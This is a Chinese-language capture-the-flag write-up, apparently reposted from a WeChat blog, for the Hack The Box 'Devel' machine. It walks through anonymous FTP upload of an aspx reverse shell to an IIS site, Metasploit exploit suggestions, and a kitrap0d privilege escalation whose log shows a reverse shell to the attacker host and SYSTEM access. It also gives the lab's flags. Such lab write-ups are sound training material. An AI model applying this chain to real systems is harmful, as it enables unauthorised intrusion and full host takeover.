HTB-Devel笔记

admin 2023年10月27日10:07:05评论17 views字数 6605阅读22分1秒阅读模式

HTB-Devel笔记

学到的技能

  • 识别易受攻击的服务

  • 利用弱凭据

  • 基本的Windows权限提升技术

首先扫描靶机

# nmap -sC -sV -T5 -Pn 10.10.10.5  Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-20 10:09 CSTStats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 41.00% done; ETC: 10:12 (0:01:26 remaining)Nmap scan report for 10.10.10.5Host is up (0.32s latency).Not shown: 998 filtered tcp ports (no-response)PORT   STATE SERVICE VERSION21/tcp open  ftp     Microsoft ftpd| ftp-anon: Anonymous FTP login allowed (FTP code 230)| 03-18-17  02:06AM       <DIR>          aspnet_client| 07-20-23  02:24AM                 2779 backup.aspx| 03-17-17  05:37PM                  689 iisstart.htm| 07-20-23  05:07AM       <DIR>          PSVIYDJQWP| 07-20-23  05:10AM       <DIR>          QCBEIJECBS| 07-20-23  03:07AM                 2764 reverse-shell.aspx| 03-17-17  05:37PM               184946 welcome.png|_07-20-23  05:08AM       <DIR>          XCUBJAZTJO| ftp-syst: |_  SYST: Windows_NT80/tcp open  http    Microsoft IIS httpd 7.5|_http-server-header: Microsoft-IIS/7.5|_http-title: IIS7| http-methods: |_  Potentially risky methods: TRACEService Info: OS: Windows; CPE: cpe:/o:microsoft:windows


HTB-Devel笔记

扫描出2个端口,其中有一个ftp服务的内容已经列举出来了,尝试使用anonymous用户密码登录一下

# ftp 10.10.10.5                            Connected to 10.10.10.5.220 Microsoft FTP ServiceName (10.10.10.5:uu): anonymous331 Anonymous access allowed, send identity (e-mail name) as password.Password: 230 User logged in.Remote system type is Windows_NT.ftp> ls229 Entering Extended Passive Mode (|||49173|)125 Data connection already open; Transfer starting.03-18-17  02:06AM       <DIR>          aspnet_client07-20-23  02:24AM                 2779 backup.aspx03-17-17  05:37PM                  689 iisstart.htm07-20-23  05:07AM       <DIR>          PSVIYDJQWP07-20-23  05:10AM       <DIR>          QCBEIJECBS07-20-23  03:07AM                 2764 reverse-shell.aspx03-17-17  05:37PM               184946 welcome.png07-20-23  05:08AM       <DIR>          XCUBJAZTJO226 Transfer complete.ftp>

HTB-Devel笔记

成功登录进去了,里面有几个iis的文件,猜测是iis服务的文件夹,尝试上传一个文件试试

ftp> put 43809.txtlocal: 43809.txt remote: 43809.txt229 Entering Extended Passive Mode (|||49177|)125 Data connection already open; Transfer starting.100% |****************************************************************************************************************************************************************|  9260        7.00 MiB/s    --:-- ETA226 Transfer complete.9260 bytes sent in 00:00 (14.40 KiB/s)ftp>

HTB-Devel笔记

看来可以上传的,然后打开80端口,直接输入刚刚上传的文件

HTB-Devel笔记

原来是可以读取的,说明该anonymous有对iis文件夹有读写的权限,所以上传一个phpshell,反弹链接,上传了php格式 的shell竟然被删除了

HTB-Devel笔记

HTB-Devel笔记

对php格式可能进行了限制,换一个aspx格式的shell试试

HTB-Devel笔记

HTB-Devel笔记

成功拿到shell了,现在是iis用户,接下来要提权,进入shell后,会发现是在c:windowssystem32inetsrv目录下

HTB-Devel笔记

工作目录设置为c:windowssystem32inetsrv,iis用户没有写入的权限,先进入c:windowsTEMP,因为是在meterpreter的接口,Metasploit的Windows权限提升模块中有一个需要将文件写入目标,之前得到的是window的x86的结构,所以使用local_exploit_suggester模块或许枚举到提权

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1SESSION => 1msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.5 - Collecting local exploits for x86/windows...[*] 10.10.10.5 - 186 exploit checks are being tried...[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.[*] Running check method for exploit 41 / 41[*] 10.10.10.5 - Valid modules for session 1:============================
# Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable. 2 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated. 3 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated. 4 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable. 5 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable. 6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable. 7 exploit/windows/local/ms15_004_tswbproxy Yes The service is running, but could not be validated. 8 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable. 9 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated. 10 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated. 11 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable. 12 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable. 13 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable. 14 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable. 15 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability. 16 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable. 17 exploit/windows/local/always_install_elevated No The target is not exploitable.

HTB-Devel笔记

枚举到了这么多,那我直接使用exploit/windows/local/bypassuac_eventvwr模块提权

HTB-Devel笔记

由于这iis用户不在admin组里面,这模块无法使用,那就换一个,换成exploit/windows/local/ms10_015_kitrap0d

msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 1SESSION => 1msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST tun0LHOST => 10.10.14.13msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.14.13:4444 [*] Reflectively injecting payload and triggering the bug...[*] Launching msiexec to host the DLL...[+] Process 3484 launched.[*] Reflectively injecting the DLL into 3484...[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.[*] Sending stage (175686 bytes) to 10.10.10.5[*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.5:49185) at 2023-07-20 11:07:31 +0800
meterpreter > getuidServer username: NT AUTHORITYSYSTEMmeterpreter >

HTB-Devel笔记

成功拿到admin权限了,拿到了user flag跟root flag

user flag:bea0bc15edb5724527ff82fe17e2113d

root flag:1853a1ab16f22c3fab3add344514206c

C:UsersAdministratorDesktop>type root.txttype root.txt1853a1ab16f22c3fab3add344514206c
C:UsersAdministratorDesktop>type C:UsersbabisDesktopuser.txttype C:UsersbabisDesktopuser.txtbea0bc15edb5724527ff82fe17e2113d
C:UsersAdministratorDesktop>

HTB-Devel笔记


原文始发于微信公众号(Jiyou too beautiful):HTB-Devel笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月27日10:07:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Devel笔记https://cn-sec.com/archives/2150831.html

发表评论

匿名网友 填写信息